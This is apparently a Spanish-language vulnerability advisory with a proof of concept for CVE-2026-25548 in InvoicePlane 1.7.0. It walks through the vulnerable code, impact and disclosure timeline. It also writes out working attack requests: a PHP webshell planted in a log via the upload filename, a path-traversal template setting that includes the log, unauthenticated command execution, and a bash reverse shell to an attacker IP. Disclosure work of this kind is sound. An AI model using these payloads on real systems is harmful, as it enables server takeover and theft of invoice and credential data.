
# Análisis técnico detallado y prueba de concepto para CVE-2026-25548, un RCE crítico en InvoicePlane 1.7.0 mediante LFI y envenenamiento de logs, incluyendo cadena de ataque, peticiones PoC y análisis de impacto.
Vulnerabilidad: Ejecución Remota de Código mediante Inclusión Local de Archivos + Envenenamiento de Registros
Producto: InvoicePlane
Versión afectada: 1.7.0 (y probablemente versiones anteriores)
Gravedad: Crítica
Puntuación CVSS 3.1: 9.1 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)
CWE: CWE-98, CWE-117, CWE-94
Descubierto por: Leonidas Agathos
Fecha del informe: 2026-01-31
Una cadena de vulnerabilidades crítica en InvoicePlane 1.7.0 permite a un administrador autenticado lograr Ejecución Remota de Código (RCE) en el servidor subyacente. El ataque combina dos debilidades:
.php de CodeIgniter, lo que permite la inyección de código PHP arbitrario.Cuando se encadenan, un atacante con acceso de administrador puede lograr el compromiso total del servidor como usuario del servidor web. La activación final de RCE es no autenticada (URL de factura pública).
| Atributo | Valor |
|---|---|
| Archivo | application/modules/guest/controllers/View.php |
| Líneas | 85, 191 |
| Parámetro | public_invoice_template (configuración de base de datos) |
| CWE | CWE-98: Control inadecuado del nombre de archivo para declaración Include/Require |
Código vulnerable (View.php:85):
$this->load->view('invoice_templates/public/' .
get_setting('public_invoice_template') . '.php', $data);
Código vulnerable (View.php:191):
$this->load->view('quote_templates/public/' .
get_setting('public_quote_template') . '.php', $data);
Las configuraciones public_invoice_template y public_quote_template se recuperan de la base de datos y se concatenan directamente en una ruta de archivo pasada a load->view() de CodeIgniter (que se resuelve en include() de PHP). No hay validación para:
../)Un administrador puede establecer este valor en cualquier ruta del sistema de archivos, limitado únicamente por la extensión .php que se agrega automáticamente.
| Atributo | Valor |
|---|---|
| Archivo | application/modules/upload/controllers/Upload.php |
| Líneas | 178–184 |
| Parámetro | Nombre de archivo de carga (datos de formulario multipart HTTP) |
| CWE | CWE-117: Neutralización inadecuada de salida para registros |
Código vulnerable (Upload.php:178-184):
private function sanitize_file_name(string $filename): string
{
if (str_contains($filename, '..')
|| str_contains($filename, '/')
|| str_contains($filename, '\\')
|| str_contains($filename, "\0")) {
log_message('error', 'Path traversal attempt detected in filename: ' . $filename);
return '';
}
// ...
}
Cuando un nombre de archivo activa la verificación de traversal de rutas, el nombre de archivo crudo y sin sanitizar se escribe directamente en el archivo de registro. Los archivos de registro de CodeIgniter:
.php: application/logs/log-YYYY-MM-DD.php<?php defined('BASEPATH') OR exit('No direct script access allowed'); ?>Un atacante que incrusta <?php system($_GET[1]); ?> en el nombre de archivo hace que esa carga útil se escriba en el registro y luego se ejecute mediante la LFI.
[Usuario autenticado] → Cargar nombre de archivo malicioso → PHP inyectado en el archivo de registro
[Administrador] → Establecer configuración de plantilla → LFI apunta al archivo de registro
[Cualquiera] → Visitar URL de factura pública → RCE
| Paso | Requisito |
|---|---|
| Envenenamiento de Registros | Usuario autenticado con acceso de carga |
| Configuración de LFI | Cuenta de administrador |
| Activación de RCE | No autenticada (URL de factura pública) |
Envíe una solicitud de carga de archivo con un webshell PHP incrustado en el nombre de archivo. La verificación de traversal de rutas se activará y escribirá el nombre de archivo crudo (incluida la carga útil PHP) en el archivo de registro.
Solicitud (mediante Burp Suite):
POST /index.php/upload/upload_file/3/13phvCzZiPyOXKYeJBk084jHL5NTGn9d HTTP/1.1
Host: 172.25.0.12
Cookie: ip_csrf_cookie=...; ip_session=...
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="_ip_csrf"
<csrf_token>
------Boundary
Content-Disposition: form-data; name="file"; filename="..<?php system($_GET[1]); ?>.jpg"
Content-Type: image/jpeg
test
------Boundary--
El servidor rechaza la carga (upload_error_invalid_extension) pero la entrada de registro ya está escrita:
Resultado en application/logs/log-2026-01-31.php:
ERROR - 2026-01-31 10:35:06 --> Path traversal attempt detected in filename: ..<?php system($_GET[1]); ?>.jpg
Navegue a la sección Adjuntos de una factura y haga clic en Agregar archivos para llegar al endpoint de carga.



Como administrador, establezca la configuración public_invoice_template para que apunte al archivo de registro de hoy mediante una carga útil de traversal de rutas. El cargador de vistas de CodeIgniter agrega .php automáticamente.
Solicitud (mediante Burp Suite):
POST /index.php/settings HTTP/1.1
Host: 172.25.0.12
Cookie: ip_csrf_cookie=...; ip_session=<admin_session>
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="settings[public_invoice_template]"
../../../logs/log-2026-01-31
------Boundary--
La ruta de traversal se resuelve desde application/views/invoice_templates/public/ hasta application/logs/, y luego incluye log-2026-01-31.php.

Acceda a cualquier URL de factura pública con un comando pasado como parámetro GET 1. No se requiere autenticación.
Solicitud:
GET /index.php/guest/view/invoice/<invoice_url_key>?1=id HTTP/1.1
Host: 172.25.0.12
Respuesta (en el código fuente de la página):
Path traversal attempt detected in filename: ..uid=1000(www-data) gid=1000(www-data) groups=1000(www-data)
.jpg
La carga útil system($_GET[1]) ejecuta el comando id y su salida se refleja en línea en la página.

Reemplace el comando con una carga útil de shell inversa bash para obtener un shell interactivo:
GET /index.php/guest/view/invoice/<invoice_url_key>?1=bash+-c+'bash+-i+>%26+/dev/tcp/192.168.25.131/4444+0>%261' HTTP/1.1
En la máquina del atacante:
nc -lnvp 4444
Resultado:
connect to [192.168.25.131] from (UNKNOWN) [172.25.0.11] 43360
www-data@0dd592f7a424:~/projects/invoiceplane$
Shell interactivo completo como www-data.

| Dimensión | Calificación | Detalle |
|---|---|---|
| Confidencialidad | ALTA | Acceso de lectura completo a todos los archivos accesibles por el usuario del servidor web, incluidas las credenciales de base de datos y los datos de facturas de clientes |
| Integridad | ALTA | Escritura arbitraria de archivos, modificación de base de datos, instalación de webshell |
| Disponibilidad | ALTA | Denegación de servicio, despliegue de ransomware, destrucción del sistema |
| Archivo | Vulnerabilidad |
|---|---|
application/modules/guest/controllers/View.php:85 | LFI — Plantilla de factura |
application/modules/guest/controllers/View.php:191 | LFI — Plantilla de cotización |
application/modules/upload/controllers/Upload.php:182 | Envenenamiento de Registros |
application/modules/settings/controllers/Settings.php | Sin validación en la configuración de plantilla |
| Fecha | Evento |
|---|---|
| 2026-01-30 | Vulnerabilidad descubierta |
| 2026-01-31 | Prueba de concepto desarrollada |
| 2026-01-31 | Proveedor notificado |
| 2026-02-03 | Reconocimiento del proveedor |
| 2026-02-03 | Parche publicado |
| 2026-02-04 | Divulgación pública |
Esta vulnerabilidad fue descubierta durante una investigación de seguridad independiente. Toda la información se proporciona estrictamente con fines educativos, de investigación y defensivos para ayudar al proveedor y a la comunidad de seguridad a comprender y remediar el problema. Cualquier uso malicioso de esta información está estrictamente prohibido.